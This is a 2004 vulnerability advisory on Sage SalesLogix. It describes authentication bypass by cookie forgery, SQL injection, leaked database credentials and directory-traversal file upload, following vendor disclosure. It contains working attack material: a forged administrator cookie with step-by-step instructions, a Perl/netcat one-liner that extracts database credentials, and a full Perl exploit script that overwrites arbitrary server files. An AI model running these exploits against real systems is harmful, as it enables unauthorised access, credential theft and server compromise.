________________________________________________________________________
________

                            Agenda Security Services
             
                        Security Vulnerability Advisory
________________________________________________________________________
________


Product:        SalesLogix Server and Web Client
Vendor:         Sage
Homepage:       http://www.saleslogix.com
Platforms:      Microsoft Windows
Impact:         Bypass authentication
                Privilege escalation
                SQL injection
                Information leaks
                Arbitrary file creation
                Directory traversal
Advisory:       Agenda-Security-Saleslogix-1-2004
Author:         Carl Livitt (carl at agenda hyphen security dot co dot
uk)
Website:        http://www.agenda-security.co.uk
Discovery date: May 19, 2004
Release date:   October 18, 2004

________________________________________________________________________
________

Product Description:

 "SalesLogix is the Customer Relationship Management solution that
drives
 sales performance in small to medium-sized businesses through Sales, 
 Marketing, and Customer Support automation and back-office integration.
 
 SalesLogix Web solutions provide a powerful deployment alternative to
 traditional client/server applications. Designed for businesses needing
a
 web-based CRM solution with flexible financing options, SalesLogix Web
 solutions deliver resources and tools that drive sales performance and
provide
 superior customer support. Easy to deploy, customize and use,
SalesLogix Web
 solutions are practical and deliver low total cost of ownership."
 

Problem Description:

 By manipulating the cookies used by the Web Client, it is possible to
trick the
 server into authenticating a remote user as the CRM administrator
without
 requiring a password.
 
 It is also possible to perform SQL injection attacks on the SQL server
that is
 used as the data store for the SalesLogix CRM system, reveal detailed
error
 reports contained in HTTP headers and disclose the real filesystem
paths to
 various SalesLogix directories.

 The SalesLogix server itself is vulnerable to an attack that would
allow a
 malicious user to obtain the username and password used to access the
SQL
 server used as a data store. The disclosed username and password always
have 
 read/write permissions on the database.

 Another vulnerability in the SalesLogix server allows an
unauthenticated user
 to upload arbitrary files to the server in any directory (s)he chooses.

________________________________________________________________________
________

Problem Details:

 Web Client: Authentication Bypass
 --------------------------------- 

 The main login page for the Web Client is found at the URL:
 
   http://www.example.com/scripts/slxweb.dll/home
   
 When a user logs in using this web form, authentication information
(the
 username and password) is passed unencrypted to the SalesLogix (SLX)
web
 server. If authentication is successful, a cookie is set in the user's 
 browser that stores the username, 'team' name and type of user that has
logged
 in. For the purposes of this advisory, the team and user type are not 
 relevant. The cookie that is set looks like this:
 
  
 
slxweb=user=XYZZY0000001|teams=XYZZY0000001!ABCDEF000002!|usertype=Remot
e|

 It is trivially simple to modify the cookie to contain the
administrator's
 details, and because there is no session tracking performed, the
credentials
 are accepted as valid by the server. A modified cookie would look like
this:

   slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
  
 When the SLX Web Client receives this cookie, it does not check for a
valid
 session (the SLX  Web Client does not use sessions, making it
inherently
 insecure); neither does it check for a valid password. Instead, it
trusts the
 information in the cookie to be correct and authenticates the user
based upon
 that trust.
 
 As such, the SLX Web Client authentication system is utterly broken and
can be
 bypassed easily and reliably. It should be noted that it is possible to
 impersonate any user, not just the administrator. Bypassing the
authentication
 can be achieved by following these steps:
 
 1. Start your favorite HTTP proxy server that is capable of modifying
HTTP
    headers on the fly (for example HTTPush).
  
 2. Configure Internet Explorer to use that proxy.
 
 3. Browse to
http://www.example.com/scripts/slxweb.dll/view?name=mainpage (of
    course you need to replace www.example.com with your own webserver
address).
 
 4. When prompted to do so by HTTPush (or whatever proxy you are using),
add a
    new cookie containing the following data:
    
    slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
   
 5. Complete the request. This will force the SLX server to set the
cookie in
    your browser.
  
 6. Configure Internet Explorer to NOT use HTTPush and disable the
proxy.
 
 7. Browse to
http://www.example.com/scripts/slxweb.dll/view?name=mainpage
    again. You will now be logged in as the administrator and you can
use the
    SLX system with administrative rights.
 
 
 It may be worth noting that using a value of ' (one apostrophe) for the
 user name in the cookie causes a fatal exception in the SLX process
handling
 the request:

    Access violation at address 0424D29F in module 'slxweb.dll'. Read of
address
    000000EC;

 This has not been tested for exploitability and is fixed in the vendor
patches.
 

   
 Web Client: Information Disclosure in HTTP Headers
 --------------------------------------------------
 
 By submitting an invalid request to the SLX Web Client, it is possible
to
 cause the process handling the request to crash.

 Additionally, the Web Client leaks information about the crash in its
HTTP
 headers. For example, by submitting the following request:
 
   GET /scripts/slxweb.dll/getfile HTTP/1.0
   Host: www.example.com
   Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
   
 The SLX webserver returns the following headers:
 
   HTTP/1.1 200 OK
   Server: Microsoft-IIS/5.0
   Date: Wed, 19 May 2004 10:29:11 GMT
   X-Powered-By: ASP.NET
   Set-Cookie: Error=True;
   Set-Cookie: ErrorCode=513;
   Set-Cookie: ErrorUserMsg=SalesLogix has detected an error condition.
   Contact your administrator if the problem persists.;
   Set-Cookie: ErrorLogMsg=
    Access violation at address 0438E1C4 in module 'slxweb.dll'. Read of
address
    FFFFFFFF;
   Set-Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|;
path=/;
    expires=Wed, 19 May 2004 10:59:11 GMT;
   Content-Type: text/html
   Content-Length: 550
 
 The 'ErrorLogMsg' cookie gives detailed information about the crashed
process.
 This crash has not been tested for exploitability and is fixed in the
vendor
 patches.
 
 
 Web Client: Document Store Directory Disclosure
 -----------------------------------------------
 
 By passing an invalid filename to the SLX component responsible for
 downloading files from the server to the user, it is possible to obtain
the
 full path to the Library and Attachment paths used by SLX:
 
 
http://www.example.com/scripts/slxweb.dll/getfile?type=Library&file=XYZZ
Y
   
   or
   
 
http://www.example.com/scripts/slxweb.dll/getfile?type=Attachment&file=X
YZZY
   
 The following error message is displayed:
 
   The file requested "\\servername\logging\Library\XYZZY" was not found
on the
   server.

   
 
 Web Client: SQL Injection
 -------------------------
 
 There are multiple points in the code where SQL injection seems
possible. One
 example of this follows:

 
http://www.example.com/scripts/slxweb.dll/view?name=coninfo&id='xyzzy'xy
zzy
   
 When we examine the headers that are returned from this request, the
following
 error message is displayed (edited for clarity):
 
   Set-Cookie: ErrorUserMsg=SalesLogix has detected an error condition.
   Contact your administrator if the problem persists.;
   Set-Cookie: ErrorLogMsg=coninfo".
   Failed to parse SQL.SELECT A1.WORKPHONE, A1.PINNUMBER,
A1.PAGERNUMERIC,
   A1.MOBILE, A1.HOMEPHONE, A1.FAX, A2.POSTALCODE A2_POSTALCODE,
A1.WEBADDRESS,
   A1.TYPE, A1.TITLE, A1.STATUS, A2.STATE A2_STATE, A1.ISPRIMARY,
A1.PREFIX,
   A1.SECCODEID, A1.ACCOUNTMANAGERID, A1.EMAIL, A1.LASTNAME,
A1.CONTACTID,
   A1.FIRSTNAME, A1.DONOTSOLICIT, A2.COUNTRY A2_COUNTRY, A2.CITY
A2_CITY,
   A2.ADDRESS2 A2_ADDRESS2, A2.ADDRESS1 A2_ADDRESS1, A1.ACCOUNTID,
A3.ACCOUNT
   A3_ACCOUNT FROM CONTACT A1 INNER JOIN ADDRESS A2 ON
   (A1.ADDRESSID=A2.ADDRESSID) INNER JOIN ACCOUNT A3 ON
   (A1.ACCOUNTID=A3.ACCOUNTID) WHERE (A1.CONTACTID='xyzzy'xyzzy);

 Not only is it possible to inject SQL into this statement, but the
complete
 SQL statement (including table and field names) is returned.
 

 
 Web Client: Passwords are revealed in the source code
 -----------------------------------------------------
 
 By using netcat to submit requests to the SLX server and watching the
 responses, it is possible to see passwords to the database and other
secret
 data:

   carl@agenda:~ > netcat www.example.com 80
   GET /scripts/slxweb.dll/view?name=mainpage HTTP/1.0
   Host: www.example.com
   Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
   
 The returned data is enormous, but a small selection of VBScript is
presented
 to illustrate the situation: 
 
   <OBJECT ID="GM" classid="clsid:10506C15-1748-4330-8E46-2CA6C4BB5948"
    codebase="/slxweb/GroupManager.cab#version=-1,-1,-1,-1"
    width=0 height=0 align=center hspace=0 vspace=0 >
   <PARAM Name="ImagePath" value="/slxweb/Images" />
   <PARAM Name="UserID" value="Admin" />
   <PARAM Name="ServerName" value="www.example.com" />
   <PARAM Name="DBType" value="dbSQLServer" />
   <PARAM Name="vPort" value="80" />
   <PARAM Name="UserName" value="ADMIN" />
   <PARAM Name="Password"   
 
value="badc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0ded"
/>
   <PARAM Name="Product" value="SALES" />
   <PARAM Name="DataSource" value="SALESLOGIX" />
   <PARAM Name="ExtendedProp" value="DSN=SALESLOGIX;UID=Admin;SLX
    Server=example;ADDRESS=localhost;Type=ODBC;PORT=1706;RWPass=" />
   </OBJECT>
   
 Also included in the VBScript are sections that disclose the full path
to the
 Library and Document paths, server names, etc.
 
 One special point of note are sections of code such as this:
 
   vMME.AttachmentPath = "\\example\SLXlogs\Documents"
   vMME.LibraryPath = "\\example\SLXlogs\Library"
   
 These variables are passed by ActiveX objects back to the server; the
server
 trusts them, and in some cases, uses the paths to point to locations on
the
 filesystem which will be written to. By modifying the VBScript en-route
to the
 browser, it should be possible to change the paths to values such as
"c:\"
 making it feasable that a remote user could upload arbitrary files (ASP
scripts
 for example) to the server and completely compromise it.
 


 SLX: Client / server authentication weaknesses
 ----------------------------------------------

 The protocol that SLX clients and servers use to communicate is flawed
by
 design. It does not mandate that a client is authenticated by the
server before
 issuing SLX commands to it. It is therefore possible for a
man-in-the-middle
 (MITM) attack to take place which would trick a client into believing
it had
 been authenticated by the server. 

 A highly simplified model of the 'authentication' process for SLX
clients looks
 like this:

 1. Client -> Server  [here's my username / password]
 2. Server -> Client  [you are now logged in]
 3. Client -> Server  [command 1, command 2, command X]
 4. Server -> Client  [ok, done. Here's the results]

 Unfortunately, when a client sends a command to the SLX server, it
makes no 
 attempt to verifiy that the client is logged in and authenticated. In
other
 words, steps 1 & 2 above are not necessary in order to execute SLX
commands
 on the server. This makes it trivial to spoof the client software into 
 believing it has logged in. For example:

 1. Attacker -> Client               [ARP spoof. I am the server]
 2. Client   -> Attacker             [here's my username / password]
 3. Attacker -> Client               [you are now logged in]
 4. Client   -> Attacker -> Server   [command 1, command 2, command X]
 5. Server   -> Attacker -> Client   [ok, done. Here's the results]
 
 The protocol is sufficiently broken to render all of the SLX
client/server
 communications insecure and allow an attacker to gain complete access
to the
 SLX server.



 SLX: Server reveals database username and password
 --------------------------------------------------

 Communicating on TCP port 1707, the SalesLogix server accepts commands
from 
 clients in a fairly simple format. As noted above, commands can be
issued 
 without need for authentication. For example, by using the command 
 'GetConnection' with the correct parameters, the server will inform the
client
 of the necessary credentials for accessing the SQL server database that

 SalesLogix uses as its data store. The following snippet is a proof of
concept
 that can be executed from the command-line using a Perl interpreter:

   perl -e 'print "\x0"x10 . "\x20" . "\x0"x3 . 
            "GetConnection\x0SALESLOGIX_SERVER\x0"' | netcat 1.2.3.4
1707

 The resulting output would look similar to this:

   Provider=SQLOLEDB.1;Password=masterkey;Persist Security Info=True;
   UserID=sysdba;Initial Catalog=SalesLogix;Data Source=TESTBOX

 The credentials returned by the server can be used to access the SQL
server
 and perform any read/write action on the data, including adding or
deleting
 user accounts, changing passwords, modifying data etc.


 
 SLX: Arbitrary files can be created on the SalesLogix server
 ------------------------------------------------------------

 Using a technique similar to above combined with a directory traversal
exploit,
 a malicious user can create, truncate or overwrite arbitrary files on
the 
 SalesLogix server. The user does not have to be authenticated.

 The command 'ProcessQueueFile' is used by the SalesLogix client to
upload a 
 file to the server's Queue directory for processing. The client
specifies both
 the filename and the file content.

 By using a filename containing "..\" characters, it is possible to
traverse to
 the root of the filesystem upon which the SalesLogix server is
installed. An 
 attacker can use this to create arbitrary files with arbitrary content
on the
 SalesLogix server.

 An example exploit capable of uploading a file to a remote SalesLogix
server is
 provided at the end of this advisory. 
 

________________________________________________________________________
________

Vendor notification timeline:

 19 May 2004 - Vendor contacted with initial advisory.

 16 Jun 2004 - Vendor contacted to request status update.
               Vendor informed of further vulnerabilities in SLX.
               Author informed of pending fixes to previous
vulnerabilities.

 22 Jun 2004 - Sent vendor latest advisory containing PoC exploit for
the file
               creation vulnerability.

 15 Oct 2004 - Vendor confirms all vulnerabilities are patched.
               The decision is made to wait until after the weekend to
release
               details of the vulnerabilities.

 18 Oct 2004 - Security advisory released.
                            

________________________________________________________________________
________

Updated software / patches:

 All service packs and security fixes can be downloaded from the
SalesLogix
 support website at http://support.saleslogix.com.

 It should be noted that Agenda Security Services have not verified that
the 
 vendor patches address the security probems described in this advisory.
 
________________________________________________________________________
________

About Agenda Security Services:

 Agenda Resource Management was formed to meet the growing needs of the 
 biotechnology industry for recruitment services, consultancy, training,

 facilities management and security services. The security services
section has 
 gone from strength to strength, leading to the development of the
Agenda 
 Security Services division.

 Former police officers, military personnel and network security
specialists 
 head it with extensive background experience from their time in the
anti-
 terrorist branch, fraud squad, special branch and computer forensics.
Our 
 unique experience of the issues relating to the biotech industry has
enabled 
 us to develop sophisticated systems, procedures and unique skills which
help 
 us deliver an unrivalled service to our clients.

 We are registered with agencies including the Criminal  Records Bureau
(CRB),
 Data Protection and BSI. In 2003 we were awarded the Information
Security 
 Systems Standard (ISMS) BS7799 into which we are incorporating the code
of 
 conduct for security vetting procedures (BS7858).
  
 Our core services are data security/ethical hacking, social
engineering, 
 pre-employment security screening, CRB checks, BS7799 consultancy and
security
 awareness training courses.
 
 For more information, please contact us:

       Web: http://www.agenda-security.co.uk
     Email: info at agenda hyphen security dot co dot uk
 Telephone: 08456 44 55 46 (UK)
            +44 1964 671 791 (intl)

________________________________________________________________________
________


#!/usr/bin/perl
# 
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
#
# Written by Carl Livitt, Agenda Security Services, June 2004.
#
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
servers
# to create arbitrary files on the filesystem of the SLX server. By
using
# directory traversal, it is possible to escape from the Queue directory
and
# write anywhere on the SLX server's filesystem.
#

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
servers.\n";
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";

if($#ARGV!=2) {
  print "Syntax: $0 host filename_to_create file_to_upload\n\n";
  print "Example:\n";
  print "  $0 10.0.0.100
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";
  print "The above example would upload the local file 'evil.txt'
to the SLX\n";
  print "server on 10.0.0.100, overwriting the existing hosts
file.\n";
  print "It is possible to upload binary files, e.g. executables,
with this exploit.\n\n";

  exit(1);
} else {
  $host=$ARGV[0];
  $create_file=$ARGV[1];
  $upload_file=$ARGV[2];
}

if((stat($upload_file))[7] > 4096) {
  print "[*] Error! Files to be uploaded must be less than 4k in
size.\n\n";
  exit(1);
}

print "[+] Building payload\n";
$contentLen=43 + length($create_file);
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file
$upload_file\n";

while(($line=<UPLOAD>)) {
  $exploit.=$line;
}

close(UPLOAD);

print "[+] Connecting to server $host:1707\n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to server\n"; exit(1); };

print "[+] Sending exploit payload\n";
send($sock,$exploit,0);

print "[+] Waiting for response\n";
$sock->recv($data,1024,0);

if($data =~ /Received/) {
  print "[+] Exploit successful\n";
} else {
  print "[*] Exploit may not have worked.\n";
}

$sock->shutdown(2);




DISCLAIMER 
Any opinions expressed in this email are those of the individual and not necessarily the Company. This email and any files transmitted with it, including replies and forwarded copies (which may contain alterations) subsequently transmitted from the Company are confidential and solely for the use of the intended recipient. It may contain material protected by attorney-client privilege. If you are not the intended recipient or the person responsible for delivering to the intended recipient, be advised that you have received this email in error and that any use is strictly prohibited.